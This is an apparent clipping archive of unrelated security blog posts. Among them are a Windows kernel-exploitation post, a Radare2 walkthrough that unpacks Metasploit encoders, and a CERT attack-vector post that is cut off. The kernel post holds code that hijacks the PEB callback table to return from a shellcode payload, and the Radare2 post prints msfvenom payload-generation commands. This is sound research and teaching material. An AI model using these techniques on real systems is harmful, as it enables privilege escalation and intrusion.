pinStalk ابزاری برای بررسی و دنبال کردن روند اجرایی برنامه است.این ابزار برای
دنبال کردن رفتار برنامه از فناوری Dynamic Binary Instrumentation بهره میجویید.
این فناوری اجازه ی اجرای کد پیش از اجرای هر Instruction را به کابر میدهد. از
این رو با استفاده از این ویژگی میتوان رفتار برنامه را در سطح Basic Block و
Instruction ثبت و بررسی کرد.با استناد به این فناوری pinStalk توانایی بررسی و
مقایسه روند اجرایی برنامه را در بازه های اجرایی گوناگون را داراست. pinStalk از
Pintool و نرم افزار IDA Pro برای پیشبرد هدف خود بهره میجویید. شما می توانید
این ابزار را برروی معماری های 32 و 64 بیتی ، و سیستم عامل های ویندوز ، لینوکس
و مک کامپایل کرده و استفاده کنید.

نکته : این ابزار کامل نیست و دارای محدودیت هایی می باشد.  
_آپدیت : نسخه برنامه با تغییرات جزئی ارتقاع یافت و در انتهای پست قابل دریافت
است._

pinStalk is a tool for analyzing the execution procedure of an executable. It
uses Dynamic Binary Instrumentation to trace the program behavior. Using this
technology, it can see and analyze each instruction before execution, so one
can analyze the program’s behavior in basic-block and instruction levels.
pinStalk uses Pintool \(from Intel\) and IDA Pro to do its job. You can
compile and use it on Windows, Linux and Mac \(on 32 and 64 bit
architectures\).

Note: This tool is not fully functional now and has some limitations.  
_Update : new version of tool with some minor changes is now available, use
link below._

  * pinStalk Usage Demo
  * Download pinStalk v0.02

# Amr Thabet: Reversing Stuxnet's Rootkit \(MRxNet\) Into C++

**Created:**| _1/29/2011 11:36:11 AM_  
---|---  
**Updated:**| _1/29/2011 11:37:08 AM_  
**Author:**| __  
**Tags:**| _reversing Malware-analysis_  
  

I'm Amr Thabet .student in Alexandria University faculty of Engineering.  
  
I become very interesting in programming when I was in 14. My goal in my live
is the success .I forget playing and TV for one reason is the Success  
  
when I enter Mechanical Department everyone told me to leave programming and
that's impossible to continue.Nothing change my mind. I continue and continue
and will continue because my faith is nothing impossible and every fail is
only a step to success

## THURSDAY, JANUARY 27, 2011

### Reversing Stuxnet's Rootkit \(MRxNet\) Into C++

Hello Again  

<img src='img/Temp2_521.jpg' width='400' height='248' />

  
  
This is the first time I reverse a rootkit. I choose Stuxnet Rootkit \(as it's
a famous virus\) and begin reversing..  
  
Finally now I convert it into C++ code with a commented IDA Pro v.5.1 Database
for it.  
  
at this link \(will be modified again but woodmann.com is not working today\)  
  
http://www.mediafire.com/?hy518zc1hebtdni  
  
have a nice day  

# Kernel exploitation – r0 to r3 transitions via KeUserModeCallback | j00ru//vx tech blog
**Created:**| _9/16/2010 9:42:17 AM_  
---|---  
**Updated:**| _9/16/2010 9:43:42 AM_  
**Author:**| __  
**Tags:**| _windows security kernel windows environment_  
  

## Kernel exploitation – r0 to r3 transitions via KeUserModeCallback

Hey there\!

I have recently came across \(well, not entirely by myself... cheers
Nahuel\!\) a fairly \(un\)common problem related to performing ring0-to-ring3
transitions, after a successful kernel vulnerability exploitation. As I have
managed to come up with a bunch of possible solutions, and even write
exemplary code for some of these, today I would like to present my thoughts,
together with some brief explanation.

### Introduction

Before trying to find a reliable solution to the problem, it should be clearly
stated first. And so, we are considering a 32-bit Windows NT-family version
\(one of the supported ones\), suffering from a stack-based buffer overflow
inside one of the system call handler functions. The attacker is able to
overwrite memory placed _after_ a fixed-size buffer, including the stack
frame, return address, syscall arguments and anything else reachable from this
point. As opposed to the reality, we assume that there is no stack protection
\(i.e. a cookie\) implemented, so the security flaw can lead straight into
malicious code execution and system compromise. Furthermore, the overflow is
triggered right inside the _syscall handler_ , not a nested function of any
kind.

The following ascii picture, presenting the stack layout at the time of the
overflow, should give you a better insight of the described scenario:

[code]

    +-----------------------+
    |                       |
    |  local variables (1)  |
    |                       |
    +-----------------------+
    |      CHAR buf[32]     | -+
    +-----------------------+  |
    |                       |  |
    |  local variables (2)  |  | overflow
    |                       |  | direction
    +-----------------------+  |
    |     stack frame       |  |
    +-----------------------+  v
    |    return address     |
    +-----------------------+
    |                       |
    |   syscall parameters  |
    |                       |
    +-----------------------+
    |                       |
    | KiFastCallEntry stack |
    |                       |
    |         (...)         |
    
[/code]

So, here we are; able to control roughly any value, which could lead us into
code execution... a perfect dream for every vulnerability researcher. There is
one more requirement, however - we must, by any means, return to user-mode, in
order to exit the exploit process in a legitimate way \(such as using
ExitProcess\). So, how do we achieve it, assuming that the original values of
the return address, and possibly some of the syscall arguments are lost \(due
to being overwritten by attacker-supplied data\)? Let's find out, what the
options are.

### KiFastCallEntry and KiServiceExit

Under normal system execution \(i.e. when its stability and security don't
collapse\), each system call handler - such as NtOpenFile - returns to its
original caller, the _KiFastCallEntry_ function. This routine, in turn, is a
dispatcher most often used upon the _sysenter_ instruction being utilized by
ring-3 code \(however, it is also used by kernel modules, when taking
advantage of system services\). After calling an adequate handler from
_KeServiceDescriptorTable_ , the dispatcher is supposed to lower the processor
privilege level, by returning to where the _syscall_ instruction was
triggered.

The latter part of the job is implemented by the _KiServiceExit_ routine,
responsible for coming back to the service caller, whatever it is.
Interestingly enough, _KiFastCallEntry_ doesn't need to call the exit
function, thanks to a specific assembly code layout, designed by the system
developers:

[code]

    +-----------------------+
    | nt!KiFastCallEntry    |
    |                       | --+
    |      /* code */       |   |
    |       CALL EBX        | <-|-- EBX = syscall handler address
    |                       |   |
    |-----------------------|   |
    | nt!KiServiceExit      |   |
    |                       |   | code execution direction
    |      /* code */       |   v
    |       SYSEXIT         |
    |                       |
    
    
[/code]

As the _KiServiceExit_ implementation directly follows the "end" of
_KiFastCallEntry_ , the code execution automatically moves from one routine,
into another. This way, no actual _call_ instruction is required, as the smart
layout causes _KiServiceExit_ to always execute after returning from the
syscall handler. Due to the fact, that by exchanging the original return
address with the one pointing at our shellcode, we do not land inside
_KiServiceExit_ automatically, anymore. What makes the situation even worse,
is the fact that the exit routine is an internal symbol, not publicly exported
to other, ring-0 modules.

Considering the above conditions, finding a reliable way of returning into
user-mode might appear to be somewhat problematic. The next couple of sections
aim to show the bright and dark sides of some possible solutions, which I have
been able to think of - if there is something I have apparently missed, please
let me know - I will be glad to extend the article with additional material
<img src='img/Temp2_4783.gif' alt=';)' />

### Obtaining internal kernel symbols

The first, and probably most straight-forward solution one could think of,
requires the attacker to recognize the precise version of the kernel image
being used, and take advantage of symbols' packages, publicly available on
Microsoft servers. An adequate package could be either downloaded at run-time
\(provided that the attacked machine is connected to internet at the time of
the exploitation\), or distributed together with the malicious application. A
_lighter_ version of the latter option could rely on hard-coding the
KiServiceExit function addresses, for every single kernel image version
possible.

**Advantages** : If the exploit was taking advantage of legitimate, Microsoft-
supplied symbols or using a static table of supported Windows editions
together with the desired kernel addresses, it could achieve a decent level of
reliability. If one knows the KiServiceExit memory placement, there isn't much
left to be done - just aligning the stack as it would be upon a normal syscall
return, and jumping to the routine after the payload completes.

**Disadvantages** : In case the attacker decided to download a complete
_ntosknrl.exe_ symbol file from the web, he could probably put the entire
operation at risk, as the the .pdb file being retrieved can be as large as 5MB
\(or more\). The exploit could obviously employ various DKOM-style techniques,
in order to hide the connection; this would only work for the local machine,
though - how about other computers in the network, and/or devices along the
way to the global net? The attacker could be either caught in the first place,
or leave significant amounts of proof for the forensics researchers.  
If, in turn, the attacker went towards using hardcoded-values, he would be
forced to keep his exploit up-to-date, in the context of new system patches
being released along the way.

Problems of the above nature are, obviously, not an issue, if the attacker has
a relatively small number of targets, and is able to figure out the computers'
kernel versions by other means \(i.e. having a local account on a given
machine would usually help a lot\).

### Signature scan

Another, well-known way of retrieving the address-of-whatever relies on
performing a quick & dirty signature scan of the memory. In this particular
case, one would have to scan the entire _ntoskrnl.exe_ image memory area, in
search of a previously-extracted signature, unique for the KiServiceExit
routine. The signature could \(or probably: _should_\) be constructed so that
it would work for every operating system out there, or be kept inside a hard-
coded table of supported kernel versions \(as mentioned in the previous
section\).

**Advantages** : The exploit doesn't have to establish any outgoing
connections. In fact, it doesn't make use of the internet, at all. Depending
on the length and quality of the signature, as well as the numbers of kernel
modifications applied by Microsoft, this technique could turn out to be either
reliable, or the very opposite. According to the author, it is usually best to
consider signature-scanning unreliable, regardless of the conditions. If,
however, the attacker proved that the KiServiceExit address can be easily
obtained, using a signature valid for all existing systems and is unlikely to
change - I would claim such solution to be a relatively good one.

**Disadvantages** : As far as my experience goes, using constant signatures is
rarely a good idea, especially if there are other options to pick. The exploit
developer can be never certain that Microsoft doesn't unexpectedly change the
kernel code, stack layout, or anything affecting the function assembly being
relied on. What is worse, the problem is not only about changing the
KiServiceExit contents itself - it is enough that a new byte sequence,
matching the existing pattern appears _anywhere_ in the kernel image; and the
exploit is fooled. Concluding - not a recommended technique, when it comes to
my opinion.

### Own _KiServiceExit_ implementation

The next solution to be considered, would require the exploit developer to
create his own implementation of the exit routine, rather than keep trying to
\(non-deterministically\) find it's virtual address in memory. This is
possible because of the fact that we're executing with the same rights as the
kernel itself, and are able to use any privileged instruction it uses. The
only problem here could be potentially caused by the complexity of the
function - fortunately, it is not the case for KiServiceExit.

**Advantages** : The major upside of this method, resides in the fact that we
are not dependent on virtual addresses of any kind \(apart from the actual
payload, which might require these\). In other words, it is possible to
implement one payload _epilogue_ , and use it across numerous system versions,
as long as the stack layout \(most importantly - the trap frame\) doesn't
change. According to my observations, the KiServiceExit routine either doesn't
change at all, or is changed in minor parts \(i.e. single instructions\). Even
though there might be a few differences between Windows 2000 and Windows
Vista; such low-level parts of the system aren't modified in one day. And so,
carefully preparing one, separate implementation of the function for each
Windows NT-family release \(2000, XP, Vista, 7\) should be sufficient to keep
the reliability on a very high level.

**Disadvantages** : One actual drawback, which could be pointed out is that
the solution is still not as elegant, as it could possibly be. That's due to
the fact that the kernel-to-user transition is being performed, using highly
undocumented \(except for the \ntos\ke\i386\trap.asm file, present inside the
Windows Research Kernel package\) system behavior and internal offsets. As a
consequence, even though it is very likely that someone's implementation of
the exit routine will work on any build of a specific Windows version, there
is no certainty about it - especially in the context of future Windows
versions.

### The _KeUserModeCallback_ technique

Last, but not least - the technique that was my first thought, when I started
reflecting on the problem. Since the mechanism taken advantage of, in this
method, has been already described numerous times \(such as the
"KeUserModeCallback utilization" section of mxatone's article, or Nynaeve's
post\), I will only give a brief explanation of its concept.

Under normal conditions, ring-3 code can only interact with the kernel modules
via _system calls_ \(regular interrupts are mostly deprecated, while call-
gates are not used, at all\). This basic scheme relies on the fact, that user
applications send specific requests, asking the kernel either to perform
operations, which require higher processor privileges, or to be supplied with
necessary information. A request is made \(via the INT 2E or sysenter
instruction\), kernel dispatches the requests and possibly returns some
information - then comes back to user mode \(via either iretd or sysexit\).
Following the above scheme, one could consider system calls to be a specific
type of callback functions - whenever an application wants to interact with
the system, it _calls back_ an adequate function from the kernel.

As it turns out, the kernel might want to _call back_ into user-mode, as
well\! More precisely, the standard graphical driver \(win32k.sys\), needs to
use ring-3 routines in numerous situations; in order to send notifications
about graphical events going on, or to request some information. In order to
meet the requirements, a special interface called _user-mode callbacks_ was
developed inside the NT kernel. The interface actually consists of one public,
and a few internal kernel routines:

[code]

    NTSTATUS KeUserModeCallback (
        IN ULONG ApiNumber,
        IN PVOID InputBuffer,
        IN ULONG InputLength,
        OUT PVOID *OutputBuffer,
        IN PULONG OutputLength
        );
    
    
[/code]

By using the above function, exported by ntoskrnl.exe, the graphical module is
able to perform a legitimate ring-0 into ring-3 transition. What happens next,
is that some basic information regarding the execution state is stored on the
kernel stack, and the execution is passed to the user-mode
ntdll.KiUserCallbackDispatcher function, of the following prototype:

[code]

    VOID KiUserCallbackDispatcher(
        IN ULONG ApiNumber,
        IN PVOID InputBuffer,
        IN ULONG InputLength
        );
    
    
[/code]

The dispatcher is then responsible for forwarding the execution into one of
the callback routines \(the EDX register contains the ApiNumber parameter\):

[code]

    mov eax, large fs:18h
    mov eax, [eax+30h]
    mov eax, [eax+2Ch]
    call dword ptr [eax+edx*4]
    
[/code]

Seemingly, the user-side dispatch table is pointed to by one of the PEB
\(Process Environment Block\) fields. After the given callback completes its
task, it resumes the win32k.sys execution by either using a dedicated
interrupt \(INT 2D, internally _called KiCallbackReturn_\), or triggering the
_NtCallbackReturn_ system call. The question is - how does the above
information help us achieve the desired exploitation effect?

Thanks to the fact that KeUserModeCallback is a public symbol, any active
module running in kernel-mode can call the function in a fully reliable
manner. What is more, we can also hook the KiUserCallbackDispatcher function,
or better yet - redirect the dispatch table pointer, residing inside PEB. If
we perform the above steps, we become able to trigger our own, fully
controlled, kernel-to-user transitions. Thanks to the clever NT kernel, we
don't really have to care about what is left on the kernel stack, as it will
be gracefully cleaned up, upon the process termination. Below, you can find
exemplary code snippets, responsible for accomplishing each stage of the safe
kernel-to-user transition:

  1. Loading the graphical library - before we decide to touch any of the win32-related PEB fields, we should make sure that the user32.dll library has been previously loaded. This way, we are guaranteed, that both the user- and kernel- parts of the system graphics are correctly initialized for our process.  
  

[code]     LoadLibraryA("user32.dll");

    
[/code]

  

  2. Replace the original dispatch table pointer, with the one controlled by us.  
  

[code]     LPVOID GetFSBase(void)

    {
      LDT_ENTRY ldt;
      GetThreadSelectorEntry(GetCurrentThread(), GetFS(), &ldt);
      return (LPVOID)(ldt.BaseLow | (ldt.HighWord.Bytes.BaseMid << 16) | (ldt.HighWord.Bytes.BaseHi << 24));
    }
    
    (...)
    
     for( i=0;i<DISPATCH_TABLE_SIZE;i++ )
       DispatchTable[i] = CallbackHandler;
    
     BYTE* Teb = GetFSBase();
     Teb = *(DWORD*)(Teb+0x18);
     Teb = *(DWORD*)(Teb+0x30);
     *(DWORD*)(Teb+0x2C) = DispatchTable;
    
    
[/code]

  

  3. Retrieve the nt\!KeUserModeCallback address. This step can be achieved, by taking advantage of the PSAPI interface \(to retrieve the ImageBase of the kernel image; EnumDeviceDrivers and GetDeviceDriverBaseNameA are of much use\), loading the very same image in the context of our application, and performing some simple maths. I have made use of my personal _GetKernelProcAddress_ function this time - implementing this one is left as an exercise to the reader <img src='img/Temp2_4783.gif' alt=';)' />  
  

[code]     KeUserModeCallback =
(typeof(KeUserModeCallback))GetKernelProcAddress("ntoskrnl.exe","KeUserModeCallback");

    
[/code]

  

  4. Trigger the buffer overflow, leading to the Payload\(\) function being executed. _Shellcode_ represents the actual code for elevating user privileges, starting up a reverse shell, or whatever else you can think of.  
  

[code]     VOID Payload()

    {
      ((VOID(*)())Shellcode)();
      KeUserModeCallback(0,0,0,0,0);
    }
    
    
[/code]

  

  5. Catch the user-mode callback inside CallbackHandler\(\), and gracefully terminate the process.  
  

[code]     DWORD CallbackHandler()

    {
      if(b0f_triggered) ExitProcess();
    
      NtCallbackReturn(0,0,ERROR_SUCCESS);
      return ERROR_SUCCESS;
    }
    
    
[/code]

  

  6. That's it, we're done\!

What should be eventually noted, is that the KeUserModeCallback leads to the
KiServiceExit function in the end, as the following call chain shows:

[code]

    | nt!KeUserModeCallback
    | nt!KiCallUserMode
    v nt!KiServiceExit
    
[/code]

Let's take a closer look at the actual pros and cons of the presented
technique.

**Advantages** : The entire solution basically relies on two steps: calling a
public nt\!KeUserModeCallback routine after successful exploitation, and
"catching" the execution flow at the public ntdll\!KiUserCallbackDispatcher
function, or at one of the callback handlers, pointed to by the PEB.
Seemingly, both steps can be accomplished in a fully reliable way, as long as
Microsoft decides to either completely remove one of the utilized functions,
or make it an internal symbol. Since such a scenario is highly unlikely, we
can safely assume that the technique is, and will be perfect for returning
into user-code from difficult situations \(such as a seriously damaged
stack\).

**Disadvantages** : One, possible disadvantage that comes into my mind, is
that replacing the PEB pointer, containing the dispatch table might not be as
easy as one might suppose. Due to the fact that high PEB offsets are likely to
change between different Windows versions, the attacker should take this fact
into consideration when planning a world-wide, cross-version attack. This
downside doesn't change anything though, as it is possible to disrupt the
execution yet inside the exported KiUserCallbackDispatcher, as mentioned
before. If you know about any other drawbacks I am not aware of, please let me
know.

### Why so serious \(about ring-3\)?

Looking at the above text, one might wonder, why the problem is stated so that
the kernel-to-user transition must take place, when it doesn't have to under
normal circumstances. The answer is - because. When it comes to kernel-mode,
there are bunches of bunches of possible scenarios, machine states, and other
factors which sometimes can be predicted, and sometimes not; returning to
user-mode _might_ be the best choice, at times. One should keep in mind,
however, that there are ways to terminate the current process from within
ring-0 \(such as nt\!ZwTerminateProcess\). Or better yet - once code execution
is achieved, the process could simply load a regular rootkit driver \(hiding
the existence of the process\), and remain in the idle state until machine
reboot, by infinitely calling nt\!ZwYieldExecution.

### Conclusion

In this post, I aimed at presenting yet another, interesting scenario related
to the kernel exploitation field, with a couple of possible solutions. Even
thought situations of the described nature don't tend to happen very often,
they do. Besides that, all four techniques are directed towards universality,
so they can be used not only when a stack-based buffer overflow takes place,
but whatever kind of situation when it is hard, or impossible to resume the
original track of kernel code execution. So, that's it... comments are
welcome, as always\! <img src='img/Temp2_4783.gif' alt=';)' />

Have fun.

Filed under: Assembler, C, OS Internals, Programming, Ring0, Ring3,
Undocumented API, Windows 7, Windows Vista, Windows XP, hacking, kernel

# Social-Engineering Ninja V0.1 BETA « GreyZer0's Blog

**Created:**| _3/11/2010 7:44:03 PM_  
---|---  
**Updated:**| _3/11/2010 7:44:10 PM_  
**Author:**| __  
**Tags:**| _bookmark LOLZ_  
  
Social-Engineering Ninja V0.1 is out\!

# waliedassar: Another OllyDbg Anti-Debug Trick

**Created:**| _1/3/2012 4:26:43 PM_  
---|---  
**Updated:**| _1/3/2012 4:26:43 PM_  
**Author:**| __  
**Tags:**| __  
  
<img src='img/Temp2_10699.jpg' />

# Radare2 - Using Emulation To Unpack Metasploit Encoders

**Created:**| _5/7/2017 10:39:27 AM_  
---|---  
**Updated:**| _5/7/2017 10:39:27 AM_  
**Author:**| __  
**Tags:**| _reversing Emulation_  
  

  

# Radare2 - Using Emulation To Unpack Metasploit Encoders

Posted on 5th March 2017

Radare2 is an open source reverse engineering framework, and is quickly
becoming one of my favourite tools when picking apart malware or looking at
CTF binaries.

I was recently introduced to Radare’s ESIL \(Evaluable Strings Intermediate
Language\), which is a way of representing instructions in a forth like
language, and allows emulation of machine instructions in Radare’s ESIL VM. To
help understand this functionality, lets look at some examples from the
radare2 book:

[code]

    push ebp
    
[/code]

If we take this x86 instruction, we find that it can be translated to the
following ESIL representation:

[code]

    4,esp,-=,ebp,esp,=[4]
    
[/code]

I won’t go through the syntax of ESIL, as that isn’t too important for what we
are trying to achieve today, but if you are interested there is plenty of
documentation available in the Radare2 book here.

If you are a visitor to /r/netsec, you may have recently seen this post from
the radare.today blog on unpacking Metasploit's "shaketa-ga-nai” encoder. What
I liked was the power of emulating instructions during a disassembly without
having to revert to debugging, and I wanted to apply the same concepts to
other Metasploit encoding techniques to see just how easy this was.

**Starting Easy - x86/countdown**

To start with, we will look at the "x86/countdown” encoder, which is described
as a "Single-byte XOR Countdown Encoder”. We can find the source code for the
decoder in the Metasploit github repo here.

Reviewing the Ruby code from the ‘decoder\_stub’ method, we find the
following:

[code]

    decoder =
      Rex::Arch::X86.set(
        Rex::Arch::X86::ECX,
        state.buf.length - 1,
        state.badchars) +
      "\xe8\xff\xff\xff" +  # call $+4
      "\xff\xc1" +          # inc ecx
      "\x5e" +              # pop esi
      "\x30\x4c\x0e\x07" +  # xor_loop: xor [esi + ecx + 0x07], cl
      "\xe2\xfa"            # loop xor_loop
    
[/code]

This decoder stub looks quite straight forward, it is a basic XOR decoding
method with a decrementing key, used to deobfuscate the original payload.
Let’s encode a simple payload and see what the resulting disassembly looks
like in Radare2:

[code]

    msfvenom -p linux/x86/exec CMD=ls -e x86/countdown -f elf -o payload_countdown
    
[/code]

<img src='img/esil1.png' width='932' height='496' />

As we can see, our disassembly matches the decoder in terms of byte values.
You may notice however that the disassembly description looks slightly odd,
this is due to the way in which the ‘call $+4’ jumps into the middle of an
instruction. To stay on track, we can ignore this for now, however "e
asm.middle=true” setting will help you to spot these kinds of tricks in future
by adding a “ _middle_ ” comment alongside these kinds of instructions.

Lets set up our ESIL VM and start stepping through the encoder which will help
us to understand how this works, and what we must do to extract the raw
payload. We can do this with the following Radare2 commands:

  * aei - Used to initialise the ESIL VM
  * aeim 0xffffd000 0x2000 stack - Used to initialise a 0x2000 byte stack for our ESIL VM to use
  * aeip - Sets the instruction pointer of the ESIL VM to our current location
  * e io.cache=true - Allows modification of the file \(required by our decoder routine\) without persisting to disk

Once we have set up the ESIL VM, we can check the emulated registers values
before we start stepping through the decoder with the “aer” command:

[code]

    [0x08048054]> aer
    oeax = 0x00000000
    eax = 0x00000000
    ebx = 0x00000000
    ecx = 0x00000000
    edx = 0x00000000
    esi = 0x00000000
    edi = 0x00000000
    esp = 0xffffe000
    ebp = 0xffffe000
    eip = 0x08048054
    eflags = 0x00000000
    
[/code]

Looks good, we have a stack and our EIP value is set to our current function.
Now we can switch into Visual mode and step through the code to watch the
magic happen:

<img src='img/esil2.gif' width='921' height='532' />

Comparing this to the original disassembly, we can see that we are now
presented with a different set of bytes after the ‘loop’ instruction. This is
the unencoded version of "linux/x86/exec" payload.

Knowing this, we can look to port this into an r2pipe python script which will
complete the following steps:

  1. Set up the ESIL VM 
  2. Emulate instructions until we land after the ‘loop’ opcode 
  3. Dump the unencoded payload after the ‘loop’

The final python script can be found here:
https://gist.github.com/xpn/9dbc8aea2ea53d92f9fca08f0a1e4fa7

**Lets do that again - x86/jmp _call_ additive**

Lets look at another encoder, “x86/jmp _call_ additive”, and see if we can
apply the same concepts as those above to decode a payload. First we look at
the source of the decoder:

https://github.com/rapid7/metasploit-
framework/blob/master/modules/encoders/x86/jmp _call_ additive.rb

We find the decoder stub as:

[code]

            "\xfc"                + # cld
            "\xbbXORK"            + # mov ebx, key
            "\xeb\x0c"            + # jmp short 0x14
            "\x5e"                + # pop esi
            "\x56"                + # push esi
            "\x31\x1e"            + # xor [esi], ebx
            "\xad"                + # lodsd
            "\x01\xc3"            + # add ebx, eax
            "\x85\xc0"            + # test eax, eax
            "\x75\xf7"            + # jnz 0xa
            "\xc3"                + # ret
            "\xe8\xef\xff\xff\xff", # call 0x8
    
[/code]

As before, we generate our payload:

[code]

    msfvenom -p linux/x86/exec CMD=ls -e x86/jmp_call_additive -f elf -o payload_countdown
    
[/code]

..then disassemble:

<img src='img/esil3.png' width='932' height='785' />

.. and finally, initialise and run against the ESIL VM:

<img src='img/esil4.png' width='932' height='1010' />

Again, we can see that our payload is decoded, and the original payload is
placed at the end of the decoder. This means we can simply amend our previous
r2pipe python script to execute the ESIL VM until we have passed the final
‘call’ instruction, and then dump the unencoded payload.

The final script can be found here:
https://gist.github.com/xpn/83c0b6b45a260d0d24408377ecd8bb55

**Something a little more complicated - x86/alpha\_mixed**

Now that we have the basics, lets move onto something slightly more difficult,
the “x86/alpha\_mixed" encoder. This encoder takes a payload, and converts the
binary into an ASCII charset.

Again, lets take a look at the decoder stub found at
https://github.com/rapid7/rex-
encoder/blob/master/lib/rex/encoder/alpha2/alpha\_mixed.rb:

[code]

       "jA" +          # push 0x41
       "X" +           # pop eax
       "P" +           # push eax
       "0A0" +         # xor byte [ecx+30], al
       "A" +           # inc ecx                         10       |
       "2AB" +         # xor al, [ecx + 42]                 |
       "2BB" +         # xor al, [edx + 42]                 |
       "0BB" +         # xor [edx + 42], al                 |
       "A" +           # inc ecx                            |
       "B" +           # inc edx                            |
       "X" +           # pop eax                            |
       "P" +           # push eax                           |
       "8AB" +         # cmp [ecx + 42], al                 |
       "uJ" +          # jnz short -------------------------
       "I"             # first encoded char, fixes the above J
    
[/code]

As before, we generate an encoded payload using:

[code]

    msfvenom -p linux/x86/exec CMD=ls -e x86/alpha_mixed -f elf -o payload_alpha
    
[/code]

<img src='img/esil5.png' width='932' height='922' />

As you can see, the disassembly has an extra set of bytes above what we were
expecting, including FPU instructions. If we refer back to the Radare2 article
in which the shaketa-ga-nai encoder was unpacked, we know that FPU
instructions are not yet supported by ESIL, which means we are forced to mock
these instructions to have our ESIL VM work correctly.

This is actually a lot easier than it sounds, as in this case, the ‘fnstenv’
FPU opcode is simply being used to retrieve the current instruction pointer.
All our mock code has to do is to retrieve the EIP pointer and add this to the
stack to emulate this FPU instruction.

Another odd thing that you will notice, is that the final ‘jne’ instruction at
address 0x0804808d jumps forward within our disassembly, whereas the source
code of the decoder stub clearly shows this should be a jump back into the
decoder. This is one of the cool things about emulating code, strange things
like this become clear without the need to fire up a debugger.

Again, lets set up our ESIL VM and begin emulating the decoder:

[code]

    aei
    aeip
    aeim 0xffffd000 0x2000 stack
    e io.cache=true
    
[/code]

We first step through the code until our EIP value points to just after the
"fnstenv" opcode. At this point, we want to put the address of the last FPU
instruction on the stack, which in this case is the ‘fld’ opcode at
0x08048056. We can do this with the following r2 command:

[code]

    wv 0x08048056 @ 0xffffe000
    
[/code]

Once we have mocked this instruction, we can continue on with our stepping.
You will quickly notice that after the first round of ‘xor’ instructions, the
‘jne’ location has been updated to something more recognisable:

<img src='img/esil6.png' width='932' height='647' />

This was due to the "4a" byte value which was updated by the decoder to "e9"
to fit in with the ‘alpha\_upper’ requirement, and also explains the comment
in the decoder source that we saw:

[code]

       "uJ" +          # jnz short -------------------------
       "I"             # first encoded char, fixes the above J
    
[/code]

Our final r2pipe script can be found here:
https://gist.github.com/xpn/da4a497288d6e1ed066d47ff1b2ce2d7.

Hopefully the above gives you some idea over the power of ESIL, and Radare2's
emulation capability. If you have any feedback, feel free to comment in the
usual places.

  

# Shed Skin - A \(restricted\) Python-to-C++ Compiler: Shed Skin 0.8,
Programming Language Benchmark

**Created:**| _6/21/2011 7:58:51 AM_  
---|---  
**Updated:**| _6/21/2011 7:59:01 AM_  
**Author:**| __  
**Tags:**| _programming performance_  
  

### Shed Skin 0.8, Programming Language Benchmark

I'm happy to announce the release of Shed Skin 0.8, a \(restricted-\)Python-
to-C++ compiler. It must be one of the best releases so far, with help and
feedback from many directions. I'm especially thrilled to see an updated
version of the C64 emulator example run one of my all-time favorite games..
:-\) The emulator is now well over 3,000 lines \(sloccount\), and still
compiling fine every time. The analysis time is in line with the scalability
graph I published earlier. The game goes from a few FPS using CPython to a
fluent 50 FPS after compilation on my PC.  
  
<img src='img/Temp2_7470.png' />  
  
The emulator triggered me to finally add support for the 'struct' and 'array'
modules to Shed Skin. The struct module is now used to load programs from
tape, and the array module is used to maintain a packed version of the screen
data.  
  
Another interesting new feature, also triggered by the emulator, allows
generated code to print tracebacks for every raised exception \(shedskin -x\).
So it's not entirely the same as in CPython \(yet\), which only does this for
uncaught exceptions, but it's a step in the right direction. Unfortunately, I
discovered at the last moment this doesn't work in the windows version.
Hopefully this can be fixed for 0.9.  
  
More details about the release can be found in the release notes.  
  
Before I could make this announcement, there was a small performance
comparison published, comparing different languages and implementations \(such
as PyPy, Jython and Shed Skin 0.8\) for 4 different benchmarks. Unfortunately,
Shed Skin 0.8 fails on one, but the problem is already fixed in GIT \(regular
expression search on empty string\). The performance on the dict test can
probably be attributed to the currently still slow I/O in Shed Skin. Improving
this will be one of the goals for 0.9. Hopefully by the time you read this the
comparison will have been updated at least for the failing test.

# CERT/CC Blog: Vulnerabilities and Attack Vectors

**Created:**| _10/3/2013 11:04:28 AM_  
---|---  
**Updated:**| _10/3/2013 11:04:28 AM_  
**Author:**| __  
**Tags:**| _attacks windows_  
  

#  CERT/CC Blog****

### Vulnerabilities and Attack Vectors****

By Will Dormann on October 1, 2013 4:44 PM | Permalink 
Hi, this is Will Dormann of the CERT Vulnerability Analysis team **.** One of
the responsibilities of a vulnerability analyst is to investigate the attack
vectors for potential vulnerabilities**.** If there isn't an attack vector,
then a bug is just a bug, right**?** In this post, I will describe a few
interesting cases that I've been involved with**.**

Attack vector analysis is an important part of vulnerability analysis**.** For
example, reading an email message with Microsoft Outlook can be used as an
attack vector for the Microsoft Jet Engine stack buffer overflow \(VU\#936529
\)**.** With the Microsoft Windows animated cursor stack buffer overflow
\(VU\#191609 \), reading an email message with Microsoft Outlook Express **in
plain text mode** can also be used as an attack vector**.** With both cases,
it's the analysis of the different attack vectors, not the underlying
vulnerabilities, that improve our understanding of the severity**.** Below are
some recent examples where attack vector analysis took an important role**.**

**Microsoft Security Bulletin MS13-023**

In MS13-023 , Microsoft outlines a vulnerability in their Visio Viewer 2010
software**.** In the **Affected Software** table, Microsoft lists both the
Visio Viewer 2010 software, as well as the Office 2010 Filter Pack**.**
Microsoft indicated that the **Maximum Security Impact** of the Filter Pack
was **None** and included a caveat: _\[1\] Severity ratings do not apply to
this update for the specified software because the known attack vectors for
the vulnerability are blocked**.** _

Attack vector analysis shows that this conclusion is incorrect**.** First,
it's important to know what the Office Filter pack does**.** The Office 2010
Filter Pack installs a set of iFilter  file parsers**.** According to the
Microsoft iFilter documentation, _full-text search engines like Indexing
Service call the methods of this interface to extract text and property
information for creating an index**.**_

What this means is that simply placing a malformed Visio file in a location
indexed by Windows Search is all that's required to trigger the
vulnerability**.** Aside from Windows Search, iFilters are used by other
products, including Microsoft Internet Information Server \(IIS\), SharePoint
Portal Server, Exchange Server, and SQL Server**.** All of these constitute
viable attack vectors**.** After discussing this with Microsoft, they have
acknowledged the oversight and will be updating the MS13-023 bulletin**.**
More details are available in CERT Vulnerability Note VU\#851777 **.**

**Fun with Windows XP**

I found the vulnerability fixed in MS13-023 by directly fuzzing the Office
2010 iFilters in 2012**.** But sometimes we find bugs without explicitly
looking for them**.** Just trying to use the software is often enough. What if
I offered you two different bugs that that appear to be exploitable on fully-
patched Windows XP systems**?** How valuable are those bugs? Or more
specifically, are the bugs even considered vulnerabilities**?** It's
impossible to make that determination without investigating the attack
vectors**.**

**Bug \#1**

I found this bug while using a laggy RDP connection to a virtual machine**.**
Sometimes when you are typing, keys get stuck and will end up repeating**.**
To reproduce this bug, simply type this in a Windows `cmd.exe` prompt:

`dir /odddddd`

When you do that, `cmd.exe` will just disappear**.** If you have a debugger
attached, you will notice that the exception is an access violation on the
